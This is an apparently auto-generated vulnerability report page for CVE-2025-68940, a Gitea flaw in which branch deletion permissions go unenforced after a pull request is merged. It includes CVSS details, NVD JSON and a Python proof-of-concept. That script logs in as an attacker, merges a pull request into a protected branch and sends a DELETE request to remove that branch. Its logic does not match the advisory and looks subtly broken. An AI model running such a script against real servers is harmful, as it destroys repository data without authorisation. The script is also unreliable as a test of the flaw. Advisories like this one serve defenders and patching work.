Security Vulnerability Report
中文
CVE-2025-68940 CVSS 3.1 LOW

CVE-2025-68940

Published: 2025-12-26 03:15:51
Last Modified: 2026-01-02 19:33:53

Description

In Gitea before 1.22.5, branch deletion permissions are not adequately enforced after merging a pull request.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.22.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68940 PoC - Gitea Branch Deletion Permission Bypass # This PoC demonstrates the branch deletion permission bypass after PR merge import requests import json TARGET_URL = "https://gitea.example.com" USERNAME = "attacker" PASSWORD = "password" REPO_OWNER = "target_user" REPO_NAME = "vulnerable-repo" BRANCH_NAME = "protected-branch" def authenticate(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/user/login" session.post(login_url, data={ "user_name": USERNAME, "password": PASSWORD }) return session def create_pull_request(session): """Create a pull request to the protected branch""" pr_url = f"{TARGET_URL}/{REPO_OWNER}/{REPO_NAME}/pull/new" # Create PR from attacker branch to protected branch response = session.post(pr_url, data={ "title": "Legitimate PR", "base": BRANCH_NAME, "head": f"{USERNAME}:attacker-branch" }) return response def merge_pull_request(session, pr_number): """Merge the pull request""" merge_url = f"{TARGET_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/pulls/{pr_number}/merge" response = session.post(merge_url, json={"do": "merge"}) return response.status_code == 200 def delete_branch_after_merge(session): """Attempt to delete branch after merge - exploits the vulnerability""" delete_url = f"{TARGET_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/branches/{BRANCH_NAME}" response = session.delete(delete_url) # In vulnerable version, this may succeed even without permission return response.status_code == 204 def main(): session = authenticate() pr_response = create_pull_request(session) if pr_response.status_code == 201: pr_number = pr_response.json()["number"] if merge_pull_request(session, pr_number): # This should fail in patched version, succeed in vulnerable version if delete_branch_after_merge(session): print("[!] Vulnerability confirmed - branch deleted without proper permission") else: print("[+] Patch applied - branch deletion properly blocked") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68940", "sourceIdentifier": "[email protected]", "published": "2025-12-26T03:15:50.810", "lastModified": "2026-01-02T19:33:52.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Gitea before 1.22.5, branch deletion permissions are not adequately enforced after merging a pull request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.22.5", "matchCriteriaId": "B73C02B2-CC24-40B9-B2E4-DC50F100B352"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.22.5/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/32654", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.22.5", "source": "[email protected]", "tags": ["Release Notes"]}]}}